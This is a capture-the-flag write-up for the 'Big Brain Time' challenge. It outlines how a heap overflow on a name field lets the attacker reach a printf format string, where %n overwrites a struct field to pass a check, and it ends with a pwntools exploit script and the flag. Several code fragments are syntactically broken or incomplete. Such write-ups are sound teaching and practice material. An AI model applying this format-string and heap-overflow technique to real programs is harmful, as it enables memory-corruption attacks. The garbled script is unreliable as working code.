Big Brain Time


  • We know address of qi_de_base
    • 0x8202010
  • There is format string vuln
    • printf(user->display, user->name, user->sex);
  • user data is written in heap
  • no aslr and no pie
  • Have heap overflow on user->name
    typedef struct moron
        int qi;
        char sex;
        char name[STR_LEN];

This is the user->qi person *user = new_p();


  1. Use heap overflow on user->name to write into user->display
    • user->display is where the fmt string bug is located
  2. Find address of *user with format string
    • target is person *user = new_p(), goal is to override user->qi which is the first index of the struct.
  3. Send payload to write to address of user->qi (from step 3)
    after filling user->name buffer Final payload: Junk (to fill user->name) + payload to write to user->display + format string to write to user->qi with length of payload written to user->display

Heap Overflow

typedef struct moron
    int qi;
    char sex;
    char name[64];
Person *user = new Moron;

// Heap overflow to override display
scanf("%s", user->name)

Format String

user_display = 'A' * val_length_for_qi + "offset_to_qi%n";


// To make user->qi > 128
if (user->qi > 128) {
} else {
	puts("Vous êtes sûrs d'être en bonne santé ?");


from pwn import *

io = process('./bigbrain')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']

def nom(payload, io):
    io.sendlineafter('Nom :', payload)

def sexe(payload, io):
    io.sendlineafter('Sexe [M/F] :', payload)

junk = b'A'*0x40
val_length_for_qi = b'B'*129
fmt_string_offset = b'%9$n,'

nom_payload = (
    + val_length_for_qi
    + fmt_string_offset

sexe_payload = 'M'

nom(nom_payload, io)
sexe(sexe_payload, io)


# H2G2{w0w_5uch_vu1n3r4b1lit13s}

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